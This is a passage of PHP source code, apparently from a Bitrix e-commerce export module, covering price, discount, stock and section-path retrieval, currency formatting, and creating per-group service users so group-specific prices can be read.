$arPrices = CIBlockPriceTools::GetItemPrices($arElement['IBLOCK_ID'], $arGroupPrices, $arElementForPrice, true, array(), 0, $this->GetIblockSite($arElement['IBLOCK_ID']));
$arPrice = $arPrices[$arPriceCodes[$key]];
$arElement2[$elemKey] = $this->GetConvertedPrice($arPrice['DISCOUNT_VALUE'], $arPrice['CURRENCY'], $elemParamKey);
if(isset($this->arPricesGroup[$key]) && is_array($this->arPricesGroup[$key]))
{
$origUserId = $GLOBALS['USER']->GetID();
foreach($this->arPricesGroup[$key] as $keyGroups=>$arGroups)
{
$userId = $this->GetUserByGroups($arGroups);
if(!$userId) continue;
$GLOBALS['USER']->Authorize($userId);
$arPrices = CIBlockPriceTools::GetItemPrices($arElement['IBLOCK_ID'], $arGroupPrices, $arElementForPrice, true, array(), 0, $this->GetIblockSite($arElement['IBLOCK_ID']));
$arPrice = $arPrices[$arPriceCodes[$key]];
$arElement2[$elemKey.'__'.$keyGroups] = $this->GetConvertedPrice($arPrice['DISCOUNT_VALUE'], $arPrice['CURRENCY'], $elemParamKey);
if($origUserId > 0) $GLOBALS['USER']->Authorize($origUserId);
else $GLOBALS['USER']->Logout();
}
}
}
if(in_array('PRICE', $arPriceSelectField) && !in_array('CURRENCY', $arPriceSelectField)) $arPriceSelectField[] = 'CURRENCY';
if($needPriceExt)
{
if(!in_array('PRICE', $arPriceSelectField)) $arPriceSelectField[] = 'PRICE';
if(!in_array('CURRENCY', $arPriceSelectField)) $arPriceSelectField[] = 'CURRENCY';
if(!in_array('QUANTITY_FROM', $arPriceSelectField)) $arPriceSelectField[] = 'QUANTITY_FROM';
if(!in_array('QUANTITY_TO', $arPriceSelectField)) $arPriceSelectField[] = 'QUANTITY_TO';
}
//if(in_array('EXTRA', $arPriceSelectField)) $arPriceSelectField[] = 'EXTRA_ID';
$arPriceExtraSelectField = preg_grep('/^EXTRA/', $arPriceSelectField);
if(count($arPriceExtraSelectField) > 0) $arPriceSelectField[] = 'EXTRA_ID';
$dbRes2 = CPrice::GetList(array(), array('PRODUCT_ID'=>$arElement['ID'], 'CATALOG_GROUP_ID'=>$key), false, $arNavStartParams, $arPriceSelectField);
while($arPrice = $dbRes2->Fetch())
{
if($needPriceExt)
{
$elemKey = 'ICAT_PRICE'.$key.'_PRICE_EXT';
$firstPrice = (bool)(!isset($arElement2[$elemKey]) || strlen($arElement2[$elemKey])==0);
$arElement2[$elemKey] .= ($firstPrice ? "" : ";\r\n").implode(':', array($arPrice['QUANTITY_FROM'], $arPrice['QUANTITY_TO'], $arPrice['PRICE'], $arPrice['CURRENCY']));
if(!$firstPrice) continue;
}
foreach($arPrice as $k=>$v)
{
$elemKey = $elemParamKey = 'ICAT_PRICE'.$key.'_'.$k;
if($arParams['TYPE'] == 'OFFER') $elemParamKey = 'OFFER_'.$elemParamKey;
if($k=='PRICE') $v = $this->GetConvertedPrice($v, $arPrice['CURRENCY'], $elemParamKey);
$arElement2[$elemKey] = $v;
}
if($arPrice['EXTRA_ID'])
{
if(!isset($this->catalogPriceExtra)) $this->catalogPriceExtra = array();
if(!isset($this->catalogPriceExtra[$arPrice['EXTRA_ID']]))
{
$extraPercent = '';
$dbRes = CExtra::GetList(array(), array('ID'=>$arPrice['EXTRA_ID']), false, array('nTopCount'=>1)/*, array('PERCENTAGE')*/);
/*if($arExtra = $dbRes->Fetch())
{
$extraPercent = $arExtra['PERCENTAGE'];
}
$this->catalogPriceExtra[$arPrice['EXTRA_ID']] = $extraPercent;*/
$arExtra = $dbRes->Fetch();
$this->catalogPriceExtra[$arPrice['EXTRA_ID']] = $arExtra;
}
foreach($arPriceExtraSelectField as $v)
{
if($v=='EXTRA') $extraKey = 'PERCENTAGE';
else $extraKey = substr($v, 6);
$elemKey = 'ICAT_PRICE'.$key.'_'.$v;
$arElement2[$elemKey] = $this->catalogPriceExtra[$arPrice['EXTRA_ID']][$extraKey];
}
/*$elemKey = 'ICAT_PRICE'.$key.'_EXTRA';
$arElement2[$elemKey] = $this->catalogPriceExtra[$arPrice['EXTRA_ID']];*/
}
}
}
}
if(!empty($arFieldsProductStores))
{
foreach($arFieldsProductStores as $key=>$arStoreSelectField)
{
$dbRes2 = CCatalogStoreProduct::GetList(array(), array('PRODUCT_ID'=>$arElement['ID'], 'STORE_ID'=>$key), false, array('nTopCount'=>1), $arStoreSelectField);
if($arStore = $dbRes2->Fetch())
{
foreach($arStore as $k=>$v)
{
$elemKey = 'ICAT_STORE'.$key.'_'.$k;
$arElement2[$elemKey] = $v;
}
}
}
}
if(!empty($arFieldsDiscount))
{
$arBasePrice = CPrice::GetBasePrice($arElement['ID']);
$basePrice = $arBasePrice['PRICE'];
$arDiscountList = CCatalogDiscount::GetDiscountForProduct(array('ID' => $arElement['ID'], 'IBLOCK_ID' => $arElement['IBLOCK_ID']), array());
$maxPercent = -1;
$maxIndex = -1;
if(is_array($arDiscountList))
{
foreach($arDiscountList as $ind=>$arDiscount)
{
$percent = 0;
if($arDiscount['VALUE_TYPE']=='P') $percent = $arDiscount['VALUE'];
elseif($arDiscount['VALUE_TYPE']=='F') $percent = (1 - ($basePrice - $arDiscount['VALUE']) / $basePrice) * 100;
elseif($arDiscount['VALUE_TYPE']=='S') $percent = (1 - ($arDiscount['VALUE']) / $basePrice) * 100;
if($percent > 0 && $percent > $maxPercent)
{
$maxPercent = $percent;
$maxIndex = $ind;
}
}
}
if($maxIndex >= 0)
{
$arDiscount = $arDiscountList[$maxIndex];
foreach($arFieldsDiscount as $fieldName)
{
if($fieldName=='VALUE|VALUE_TYPE=P')
{
$val = '';
if($arDiscount['VALUE_TYPE']=='P') $val = $arDiscount['VALUE'];
elseif($arDiscount['VALUE_TYPE']=='F') $val = (1 - ($basePrice - $arDiscount['VALUE']) / $basePrice) * 100;
elseif($arDiscount['VALUE_TYPE']=='S') $val = (1 - ($arDiscount['VALUE']) / $basePrice) * 100;
$arElement2['ICAT_DISCOUNT_'.$fieldName] = ($val ? round((float)$val, 4) : '');
}
elseif($fieldName=='VALUE|VALUE_TYPE=F')
{
$val = '';
if($arDiscount['VALUE_TYPE']=='P') $val = $basePrice * ($arDiscount['VALUE'] / 100);
elseif($arDiscount['VALUE_TYPE']=='F') $val = $arDiscount['VALUE'];
elseif($arDiscount['VALUE_TYPE']=='S') $val = $basePrice - $arDiscount['VALUE'];
$arElement2['ICAT_DISCOUNT_'.$fieldName] = ($val ? round((float)$val, 4) : '');
}
elseif($fieldName=='VALUE|VALUE_TYPE=S')
{
$val = '';
if($arDiscount['VALUE_TYPE']=='P') $val = $basePrice * (1 - $arDiscount['VALUE'] / 100);
elseif($arDiscount['VALUE_TYPE']=='F') $val = $basePrice - $arDiscount['VALUE'];
elseif($arDiscount['VALUE_TYPE']=='S') $val = $arDiscount['VALUE'];
$arElement2['ICAT_DISCOUNT_'.$fieldName] = ($val ? round((float)$val, 4) : '');
}
}
}
}
if($arParams['TYPE'] == 'OFFER')
{
$arElement3 = $arElement2;
$arElement2 = array();
foreach($arElement3 as $k=>$v)
{
$arElement2['OFFER_'.$k] = $v;
}
}
$needAdd = true;
if(is_array($arOfferParams))
{
$needSku = (bool)(count($arOfferParams['FILTER']) > 1);
if($needSku && defined('\Bitrix\Catalog\ProductTable::TYPE_PRODUCT') && \Bitrix\Catalog\ProductTable::TYPE_PRODUCT==$arElement['CATALOG_TYPE'] && isset($arFilter['CATALOG_TYPE']) && is_array($arFilter['CATALOG_TYPE']) && in_array(\Bitrix\Catalog\ProductTable::TYPE_PRODUCT, $arFilter['CATALOG_TYPE']))
{
$needSku = false;
}
$arOfferParams['FILTER']['PROPERTY_'.$offersPropertyId] = $arElement['ID'];
$arOfferParams['PARENTFIELDS'] = $arElement2;
$arResElements2 = $this->GetElementsData($arData, $arOfferParams);
unset($arOfferParams['FILTER']['PROPERTY_'.$offersPropertyId]);
//if($arResElements2['navRecordCount'] > 0)
if($arResElements2['navRecordCount'] > 0 || $needSku)
{
$needAdd = false;
}
}
if($needAdd)
{
$arElementSections = array();
if(!empty($arFieldsSections) && $arElement['IBLOCK_SECTION_ID'])
{
$onlyOneSection = (bool)($this->params['CSV_YANDEX']=='Y' || $this->params['EXPORT_ELEMENT_ONE_SECTION']=='Y');
if(!$showOnlyFilterSection && !$onlyOneSection)
{
$mainSection = $arElement['IBLOCK_SECTION_ID'];
$dbRes = CIBlockElement::GetElementGroups($arElement['ID'], true, array('ID'));
while($arSect = $dbRes->Fetch())
{
if($arSect['ID']!=$mainSection)
{
$arElement3 = array();
$arElement['IBLOCK_SECTION_ID'] = $arSect['ID'];
$this->GetElementSection($arElement3, $arElement, $arElementNameFields, $arFieldsSections);
if(isset($arElement3['IE_SECTION_PATH'])) unset($arElement3['IE_SECTION_PATH']);
$arElementSections[] = $arElement3;
}
}
}
elseif($showOnlyFilterSection)
{
if(!in_array($mainSection, $arFilter['SECTION_ID']) || !$onlyOneSection)
{
$dbRes = CIBlockElement::GetElementGroups($arElement['ID'], true, array('ID'));
while($arSect = $dbRes->Fetch())
{
if(in_array($arSect['ID'], $arFilter['SECTION_ID']))
{
$arElement3 = array();
$arElement['IBLOCK_SECTION_ID'] = $arSect['ID'];
$this->GetElementSection($arElement3, $arElement, $arElementNameFields, $arFieldsSections);
if(isset($arElement3['IE_SECTION_PATH'])) unset($arElement3['IE_SECTION_PATH']);
if($arSect['ID']==$mainSection) array_unshift($arElementSections, $arElement3);
else $arElementSections[] = $arElement3;
}
}
if(!in_array($mainSection, $arFilter['SECTION_ID']))
{
$arElement3 = array_shift($arElementSections);
$arElement2 = array_merge($arElement2, $arElement3);
}
if($onlyOneSection) $arElementSections = array();
}
}
}
if(is_array($arParams['PARENTFIELDS']))
{
$arElement2 = array_merge($arElement2, $arParams['PARENTFIELDS']);
}
$arData[] = $arElement2;
if(!empty($arElementSections))
{
foreach($arElementSections as $arElement3)
{
$arData[] = $arElement3;
}
}
}
$dbResCnt++;
$dbElemResCnt++;
if($arParams['NAV_PARAMS']['nTopCount'] && $dbResCnt >= $arParams['NAV_PARAMS']['nTopCount'])
{
$break = true;
break;
}
}
if(($arParams['NAV_PARAMS']['iNumPage'] && $arParams['NAV_PARAMS']['iNumPage'] < $dbResElements->NavPageCount))
{
$sectionKeyInc = 1;
}
if($break || ($arParams['NAV_PARAMS']['iNumPage'] && $dbResElements->SelectedRowsCount() > 0)) break;
}
$navRecordCount = $dbResElements->NavRecordCount;
$navPageCount = $dbResElements->NavPageCount;
if(is_array($arOfferParams))
{
$arFilter2 = $arOfferParams['FILTER'];
unset($arFilter2['PROPERTY_'.$offersPropertyId]);
foreach($arFilterOriginal as $k=>$v)
{
$arFilter2['PROPERTY_'.$offersPropertyId.'.'.$k] = $v;
}
$cnt = CIblockElement::GetList(array(), $arFilter2, array());
if($cnt > 0) $navRecordCount = $cnt;
}
if($dbResCnt > $navRecordCount) $navRecordCount = $dbResCnt;
return array(
'navRecordCount' => $navRecordCount,
'navPageCount' => $navPageCount,
'sectionKey' => $skey + $sectionKeyInc,
'sectionCount' => $sCount
);
}
public function GetConvertedPrice($v, $currency, $elemParamKey)
{
if(strlen(trim($v)) > 0 && $this->bCurrency && isset($this->customFieldSettings[$elemParamKey]))
{
if(isset($this->customFieldSettings[$elemParamKey]['PRICE_CONVERT_CURRENCY']) && $this->customFieldSettings[$elemParamKey]['PRICE_CONVERT_CURRENCY']=='Y' && isset($this->customFieldSettings[$elemParamKey]['PRICE_CONVERT_CURRENCY_TO']) && $this->customFieldSettings[$elemParamKey]['PRICE_CONVERT_CURRENCY_TO'])
{
$v = CCurrencyRates::ConvertCurrency($v, $currency, $this->customFieldSettings[$elemParamKey]['PRICE_CONVERT_CURRENCY_TO']);
$currency = $this->customFieldSettings[$elemParamKey]['PRICE_CONVERT_CURRENCY_TO'];
}
$showCurrency = (bool)(isset($this->customFieldSettings[$elemParamKey]['PRICE_SHOW_CURRENCY']) && $this->customFieldSettings[$elemParamKey]['PRICE_SHOW_CURRENCY']=='Y');
$useLangSettings = (bool)(isset($this->customFieldSettings[$elemParamKey]['PRICE_USE_LANG_SETTINGS']) && $this->customFieldSettings[$elemParamKey]['PRICE_USE_LANG_SETTINGS']=='Y');
if($useLangSettings)
{
$v = CCurrencyLang::CurrencyFormat($v, $currency);
if(!$showCurrency)
{
$arFormat = CCurrencyLang::GetCurrencyFormat($currency);
$arParts = explode('#', $arFormat['FORMAT_STRING']);
$part1 = current($arParts);
$part2 = end($arParts);
if(strlen($part1) > 0) $v = substr($v, strlen($part1));
if(strlen($part2) > 0) $v = substr($v, 0, -strlen($part2));
}
}
elseif($showCurrency)
{
$arFormat = CCurrencyLang::GetCurrencyFormat($currency);
$arParts = explode('#', $arFormat['FORMAT_STRING']);
$part1 = current($arParts);
$part2 = end($arParts);
$v = $part1.$v.$part2;
}
}
return $v;
}
public function GetSectionsData(&$arData, $arParams)
{
$arFilter = $arParams['FILTER'];
$arSkuFilter = $arParams['SKU_FILTER'];
$arNavParams = (is_array($arParams['NAV_PARAMS']) ? $arParams['NAV_PARAMS'] : false);
$arAllFields = $arParams['FIELDS'];
/*IE_SECTION_PATH*/
$arFieldsSections = array();
foreach($arAllFields as $field)
{
if(strpos($field, 'ISECT')===0)
{
$arSect = explode('_', substr($field, 5), 2);
if(strlen($arSect[0])==0) $arSect[0] = 0;
$arFieldsSections[$arSect[0]][] = $arSect[1];
}
}
ksort($arFieldsSections);
$arResult = $this->GetSectionsLevelData($arFilter, $arFieldsSections, $arNavParams);
$dbResSections = $arResult['dbResSections'];
$arSubData = $arResult['data'];
foreach($arSubData as $data)
{
$arData[] = $data;
}
$navRecordCount = $dbResSections->NavRecordCount;
$navPageCount = $dbResSections->NavPageCount;
$sectionKey = 2;
if($arNavParams['iNumPage'] && $arNavParams['iNumPage'] < $navPageCount)
{
$sectionKey = 1;
}
return array(
'navRecordCount' => $navRecordCount,
'navPageCount' => $navPageCount,
'sectionKey' => $sectionKey,
'sectionCount' => 1
);
}
public function GetSectionsLevelData($arFilter, $arFieldsSections, $arNavParams)
{
$arData = array();
$arKeys = array_keys($arFieldsSections);
$currentKey = array_shift($arKeys);
$arSelectField = $arFieldsSections[$currentKey];
unset($arFieldsSections[$currentKey]);
$arUserFields = $this->GetSectionUserFields($arFilter['IBLOCK_ID']);
$dbResSections = CIblockSection::GetList(array('LEFT_MARGIN'=>'ASC'), array_merge($arFilter, ($currentKey > 0 ? array('DEPTH_LEVEL'=>$currentKey) : array())), false, array_merge($arSelectField, array('ID', 'IBLOCK_ID', 'NAME', 'DEPTH_LEVEL', 'LEFT_MARGIN', 'RIGHT_MARGIN')), $arNavParams);
while($arSection = $dbResSections->GetNext())
{
$this->GetSectionIpropTemplates($arSection, $arSelectField);
$arSectionData = array();
foreach($arSection as $key=>$val)
{
if(in_array($key, $arSelectField))
{
if($key=='PICTURE' || $key=='DETAIL_PICTURE' || (isset($arUserFields[$key]) && $arUserFields[$key]['USER_TYPE_ID']=='file'))
{
if(is_array($val))
{
foreach($val as $k=>$v)
{
$val[$k] = $this->GetFileValue($val[$k]);
}
}
else
{
$val = $this->GetFileValue($val);
}
}
$arSectionData['ISECT'.($currentKey > 0 ? $currentKey : '').'_'.$key] = $val;
}
}
$isSubData = false;
if(!empty($arFieldsSections))
{
$arFilter['>LEFT_MARGIN'] = $arSection['LEFT_MARGIN'];
$arFilter['<RIGHT_MARGIN'] = $arSection['RIGHT_MARGIN'];
$arResult = $this->GetSectionsLevelData($arFilter, $arFieldsSections, false);
$arSubData = $arResult['data'];
if(!empty($arSubData))
{
$isSubData = true;
foreach($arSubData as $data)
{
$arData[] = array_merge($arSectionData, $data);
}
}
}
if(!$isSubData)
{
$arData[] = $arSectionData;
}
}
return array('dbResSections' => $dbResSections, 'data' => $arData);
}
public function GetSectionUserFields($IBLOCK_ID)
{
if(!$IBLOCK_ID) return array();
if(!isset($this->sectionUserFields[$IBLOCK_ID]))
{
$arFields = array();
$dbRes = CUserTypeEntity::GetList(array(), array('ENTITY_ID'=>'IBLOCK_'.$IBLOCK_ID.'_SECTION'));
while($arr = $dbRes->Fetch())
{
$arFields[$arr['FIELD_NAME']] = $arr;
}
$this->sectionUserFields[$IBLOCK_ID] = $arFields;
}
return $this->sectionUserFields[$IBLOCK_ID];
}
public function GetElementOrder()
{
$listIndex = $this->listIndex;
$arOrder = array();
$arSort = array_map('trim', explode('=>', $this->params['SORT'][$listIndex]));
if($arSort[0])
{
$sortField = $arSort[0];
$sortOrder = (ToUpper($arSort[1])=='DESC' ? 'DESC' : 'ASC');
if(strpos($sortField, 'IE_')===0)
{
$arOrder[substr($sortField, 3)] = $sortOrder;
}
elseif(strpos($sortField, 'IP_PROP')===0)
{
$arOrder['PROPERTY_'.substr($sortField, 7)] = $sortOrder;
}
elseif(strpos($sortField, 'ICAT_PRICE')===0)
{
$arFieldParts = explode('_', substr($sortField, 10), 2);
$arOrder['CATALOG_'.$arFieldParts[1].'_'.$arFieldParts[0]] = $sortOrder;
}
elseif(strpos($sortField, 'ICAT_')===0)
{
$arOrder['CATALOG_'.substr($sortField, 5)] = $sortOrder;
}
}
if(count($arOrder)==0) $arOrder = array('NAME'=>'ASC', 'ID'=>'ASC');
if(!isset($arOrder['ID'])) $arOrder['ID'] = 'ASC';
return $arOrder;
}
public function GetParentSections($ID)
{
$arParentSections = array();
$parentId = $ID;
while($parentId)
{
$arSelectFields = array('ID', 'NAME', 'IBLOCK_SECTION_ID', 'DEPTH_LEVEL');
$dbRes = CIblockSection::GetList(array(), array('ID'=>$parentId), false, $arSelectFields, array('nTopCount'=>1));
if($arSection = $dbRes->Fetch())
{
$arParentSections[$arSection['DEPTH_LEVEL']] = $arSection;
$this->stepparams['parentSections'][$arSection['DEPTH_LEVEL']] = $arSection['ID'];
if($arSection['DEPTH_LEVEL'] > 1 && (!isset($this->stepparams['parentSections'][$arSection['DEPTH_LEVEL'] - 1]) || $this->stepparams['parentSections'][$arSection['DEPTH_LEVEL'] - 1]!=$arSection['IBLOCK_SECTION_ID']))
{
$parentId = $arSection['IBLOCK_SECTION_ID'];
}
else
{
$parentId = false;
}
}
else
{
$parentId = false;
}
}
$arParentSections = array_reverse($arParentSections, true);
return $arParentSections;
}
public function GetSectionPath($ID)
{
if(!isset($this->sectionPaths[$ID]))
{
$curLevel = 1;
$parentId = $ID;
$arSectionNames = array();
while($curLevel > 0)
{
$arSelectFields = array('ID', 'NAME', 'IBLOCK_SECTION_ID', 'DEPTH_LEVEL');
$dbRes = CIblockSection::GetList(array(), array('ID'=>$parentId), false, $arSelectFields, array('nTopCount'=>1));
if($arSection = $dbRes->Fetch())
{
$arSectionNames[$arSection['DEPTH_LEVEL']] = $arSection['NAME'];
$parentId = (int)$arSection['IBLOCK_SECTION_ID'];
$curLevel = (int)$arSection['DEPTH_LEVEL'];
}
else
{
$curLevel = 0;
}
}
ksort($arSectionNames, SORT_NUMERIC);
$separator = trim($this->params['DISPLAY_PARAMS'][$this->listIndex]['SECTION_PATH']['SECTION_PATH_SEPARATOR']);
if(!$separator) $separator = '/';
$separator = ' '.$separator.' ';
$this->sectionPaths[$ID] = implode($separator, $arSectionNames);
}
return $this->sectionPaths[$ID];
}
public function GetSelectSections($arFilter, $arParams)
{
$arSectionIds = array();
$arSections = array();
if($arParams['TYPE'] != 'OFFER')
{
if(!isset($this->sepSectionIds))
{
/*if($this->params['EXPORT_SEP_SECTIONS']=='Y')
{
$dbRes = CIblockElement::GetList(array(), $arFilter, array('IBLOCK_SECTION_ID'), false, array('IBLOCK_SECTION_ID'));
while($arr = $dbRes->Fetch())
{
$arSectionIds[] = $arr['IBLOCK_SECTION_ID'];
}
}*/
//if(!empty($arSectionIds))
if($this->params['EXPORT_SEP_SECTIONS']=='Y')
{
$arSort = array('LEFT_MARGIN'=>'ASC', 'GLOBAL_ACTIVE'=>'Y');
if($arFilter['SECTION_ID'] > 0 || (is_array($arFilter['SECTION_ID']) && count($arFilter['SECTION_ID']) > 0))
{
if($arFilter['INCLUDE_SUBSECTIONS']=='Y')
{
$dbResMain = CIblockSection::GetList($arSort, array('IBLOCK_ID'=>$arFilter['IBLOCK_ID'], 'ID'=>$arFilter['SECTION_ID']), false, array('LEFT_MARGIN', 'RIGHT_MARGIN'));
while($arMainSect = $dbResMain->Fetch())
{
$dbRes = CIblockSection::GetList($arSort, array('IBLOCK_ID'=>$arFilter['IBLOCK_ID'], '>=LEFT_MARGIN'=>$arMainSect['LEFT_MARGIN'], '<=RIGHT_MARGIN'=>$arMainSect['RIGHT_MARGIN']), false, array('ID', 'NAME'));
while($arr = $dbRes->Fetch()) $arSections[$arr['ID']] = $arr;
}
}
else
{
$dbRes = CIblockSection::GetList($arSort, array('IBLOCK_ID'=>$arFilter['IBLOCK_ID'], 'ID'=>$arFilter['SECTION_ID']), false, array('ID', 'NAME'));
while($arr = $dbRes->Fetch()) $arSections[$arr['ID']] = $arr;
}
}
else
{
$dbRes = CIblockSection::GetList($arSort, array(/*'ID'=>$arSectionIds*/'IBLOCK_ID'=>$arFilter['IBLOCK_ID']), false, array('ID', 'NAME'));
while($arr = $dbRes->Fetch()) $arSections[$arr['ID']] = $arr;
}
}
$arSections = array_values($arSections);
$this->sepSectionIds = $arSections;
}
else
{
$arSections = $this->sepSectionIds;
}
}
if(empty($arSections)) $arSections[] = array();
return $arSections;
}
public function GetElementSectionShare(&$arElement2, $arElement, $arElementNameFields, $arFieldsSections)
{
$baseSectionId = $arElement['IBLOCK_SECTION_ID'];
$this->GetElementSection($arElement2, $arElement, $arElementNameFields, $arFieldsSections);
$needSectionPath = (bool)(in_array('SECTION_PATH', $arElementNameFields));
if($needSectionPath && $arElement['IBLOCK_SECTION_ID'])
{
$dbRes = CIBlockElement::GetElementGroups($arElement['ID'], true, array('ID'));
while($arSect = $dbRes->Fetch())
{
if($arSect['ID']!=$baseSectionId)
{
$arElement['IBLOCK_SECTION_ID'] = $arSect['ID'];
$this->GetElementSection($arElement2, $arElement, $arElementNameFields, $arFieldsSections);
}
}
}
}
public function GetElementSection(&$arElement2, $arElement, $arElementNameFields, $arFieldsSections)
{
$needSectionPath = (bool)(in_array('SECTION_PATH', $arElementNameFields));
if((!empty($arFieldsSections) || $needSectionPath) && $arElement['IBLOCK_SECTION_ID'])
{
$arUserFields = $this->GetSectionUserFields($arElement['IBLOCK_ID']);
if($needSectionPath) $minLevel = 1;
else $minLevel = max(min(array_keys($arFieldsSections)), 1);
$curLevel = 0;
$arSectionNames = array();
$dbRes2 = CIblockSection::GetList(array(), array('ID'=>$arElement['IBLOCK_SECTION_ID']), false, array('ID', 'DEPTH_LEVEL'), array('nTopCount'=>1));
if($arSection = $dbRes2->Fetch())
{
$curLevel = $arSection['DEPTH_LEVEL'];
}
$elemLevel = $curLevel;
if(isset($arFieldsSections[0]) && is_array($arFieldsSections[0]))
{
if(!isset($arFieldsSections[$elemLevel]) || !is_array($arFieldsSections[$elemLevel]))
{
$arFieldsSections[$elemLevel] = array();
}
$arFieldsSections[$elemLevel] = array_merge($arFieldsSections[0], $arFieldsSections[$elemLevel]);
}
$parentId = $arElement['IBLOCK_SECTION_ID'];
while($curLevel >= $minLevel)
{
$arSelectFields = array('ID', 'IBLOCK_ID', 'NAME', 'IBLOCK_SECTION_ID', 'DEPTH_LEVEL');
if(is_array($arFieldsSections[$curLevel])) $arSelectFields = array_merge($arSelectFields, $arFieldsSections[$curLevel]);
$dbRes2 = CIblockSection::GetList(array(), array('ID'=>$parentId, 'IBLOCK_ID'=>$arElement['IBLOCK_ID']), false, $arSelectFields, array('nTopCount'=>1));
if($arSection = $dbRes2->GetNext())
{
$this->GetSectionIpropTemplates($arSection, $arSelectFields);
foreach($arSection as $k=>$v)
{
if(strpos($k, '~')===0)
{
$arSection[substr($k, 1)] = $v;
}
}
if(is_array($arFieldsSections[$curLevel]))
{
foreach($arFieldsSections[$curLevel] as $key)
{
$val = $arSection[$key];
if($key=='PICTURE' || $key=='DETAIL_PICTURE' || (isset($arUserFields[$key]) && $arUserFields[$key]['USER_TYPE_ID']=='file'))
{
if(is_array($val))
{
foreach($val as $k=>$v)
{
$val[$k] = $this->GetFileValue($val[$k]);
}
}
else
{
$val = $this->GetFileValue($val);
}
}
$arElement2['ISECT'.$arSection['DEPTH_LEVEL'].'_'.$key] = $val;
if($elemLevel==$arSection['DEPTH_LEVEL'])
{
$arElement2['ISECT_'.$key] = $val;
}
}
}
$arSectionNames[$curLevel] = $arSection['NAME'];
}
$parentId = (int)$arSection['IBLOCK_SECTION_ID'];
$curLevel--;
}
if($needSectionPath && !empty($arSectionNames))
{
ksort($arSectionNames, SORT_NUMERIC);
if(isset($this->customFieldSettings['IE_SECTION_PATH']['SECTION_PATH_SEPARATOR']) && strlen($this->customFieldSettings['IE_SECTION_PATH']['SECTION_PATH_SEPARATOR']) > 0) $separator = $this->customFieldSettings['IE_SECTION_PATH']['SECTION_PATH_SEPARATOR'];
else $separator = '/';
if(!is_array($arElement2['IE_SECTION_PATH'])) $arElement2['IE_SECTION_PATH'] = array();
$arElement2['IE_SECTION_PATH'][] = implode(' '.$separator.' ', $arSectionNames);
}
}
}
public function GetSectionIpropTemplates(&$arSection, $arSelectFields)
{
$arIpropTempKeys = preg_grep('/^IPROP_TEMP_/', $arSelectFields);
if(!empty($arIpropTempKeys))
{
$ipropValues = new \Bitrix\Iblock\InheritedProperty\SectionValues($arSection['IBLOCK_ID'], $arSection['ID']);
$arTemplates = $ipropValues->getValues();
foreach($arIpropTempKeys as $v)
{
$key = substr($v, 11);
if(isset($arTemplates[$key])) $arSection[$v] = $arTemplates[$key];
else $arSection[$v] = '';
}
}
}
public function IsPictureField($field)
{
$isOffer = false;
if(strpos($field, 'OFFER_')===0)
{
$field = substr($field, 6);
$isOffer = true;
}
$isPicture = false;
if(in_array($field, array('IE_PREVIEW_PICTURE', 'IE_DETAIL_PICTURE'))) $isPicture = true;
if(!$isPicture && strpos($field, 'IP_PROP')===0)
{
$propId = substr($field, 7);
$arProp = $this->GetCachedProperty($propId);
$isPicture = (bool)($arProp['PROPERTY_TYPE']=='F');
}
return $isPicture;
}
public function IsMultipleField($field)
{
$isOffer = false;
if(strpos($field, 'OFFER_')===0)
{
$field = substr($field, 6);
$isOffer = true;
}
$isMultiple = false;
if(in_array($field, array('IE_SECTION_PATH'))) $isMultiple = true;
if(!$isMultiple && strpos($field, 'IP_PROP')===0)
{
$propId = substr($field, 7);
$arProp = $this->GetCachedProperty($propId);
$isMultiple = (bool)($arProp['MULTIPLE']=='Y');
}
return $isMultiple;
}
public function GetCachedProperty($propId)
{
if(!isset($this->dataProps)) $this->dataProps = array();
if(!isset($this->dataProps[$propId]))
{
$dbRes = CIBlockProperty::GetList(array(), array('ID'=>$propId));
if($arProp = $dbRes->Fetch())
{
$this->dataProps[$propId] = $arProp;
}
}
return $this->dataProps[$propId];
}
public function GetCachedOfferIblock($IBLOCK_ID)
{
if(!$this->iblockoffers || !isset($this->iblockoffers[$IBLOCK_ID]))
{
$this->iblockoffers[$IBLOCK_ID] = CKDAExportUtils::GetOfferIblock($IBLOCK_ID, true);
}
return $this->iblockoffers[$IBLOCK_ID];
}
public function GetBasePriceId()
{
if(!$this->catalogBasePriceId)
{
$arBasePrice = CCatalogGroup::GetBaseGroup();
$this->catalogBasePriceId = $arBasePrice['ID'];
}
return $this->catalogBasePriceId;
}
public function GetNumberOperation(&$val, $op)
{
if($op=='eq') return '=';
elseif($op=='gt') return '>';
elseif($op=='geq') return '>=';
elseif($op=='lt') return '<';
elseif($op=='leq') return '<=';
elseif($op=='empty')
{
$val = false;
return '';
}
else return '';
}
public function GetCalculatedValue($val)
{
try{
if($this->params['ELEMENT_NOT_LOAD_FORMATTING']=='Y') $val = $val->getCalculatedValue();
else $val = $val->getFormattedValue();
}catch(Exception $ex){}
return self::CorrectCalculatedValue($val);
}
public static function CorrectCalculatedValue($val)
{
$val = str_ireplace('_x000D_', '', $val);
if((!defined('BX_UTF') || !BX_UTF) && CUtil::DetectUTF8($val)/*function_exists('mb_detect_encoding') && (mb_detect_encoding($val) == 'UTF-8')*/)
{
$val = strtr($val, array('Ø'=>'Ø', '™'=>'™', '®'=>'®', '©'=>'©'));
$val = utf8win1251($val);
}
return $val;
}
public function GetFloatVal($val)
{
return floatval(preg_replace('/[^\d\.]+/', '', str_replace(',', '.', $val)));
}
public function GetDateVal($val)
{
$time = strtotime($val);
if($time > 0)
{
return ConvertTimeStamp($time, 'FULL');
}
return false;
}
public function GetUserByGroups($arGroups)
{
if(empty($arGroups)) return 0;
$xmlId = 'kda_groups_'.implode('_', $arGroups);
if(!isset($this->usersByGroups)) $this->usersByGroups = array();
if(!isset($this->usersByGroups[$xmlId]))
{
$userId = 0;
$dbRes = \CUser::GetList(($by='ID'), ($order='ASC'), array('XML_ID'=>$xmlId), array('FIELDS'=>array('ID')));
if($arUser = $dbRes->Fetch())
{
$userId = $arUser['ID'];
}
else
{
$pass = substr(md5(mt_rand()), 0, 8).'.*aA2';
$arFieldsUser = array(
'XML_ID' => $xmlId,
'LOGIN' => $xmlId,
'EMAIL' => $xmlId.'@nodomain.com',
'PASSWORD' => $pass,
'CONFIRM_PASSWORD' => $pass,
'GROUP_ID' => $arGroups
);
$user = new \CUser;
if($id = $user->Add($arFieldsUser))
{
$userId = $id;
}
}
$this->usersByGroups[$xmlId] = $userId;
}
return $this->usersByGroups[$xmlId];
}
public function AddDateFilter(&$arFilter, $arAddFilter, $field1, $field2, $addField)
{
/*if(isset($arAddFilter[$addField.'_from_FILTER_PERIOD']) && in_array($arAddFilter[$addField.'from_FILTER_PERIOD'], array('day', 'week', 'month', 'quarter', 'year'))
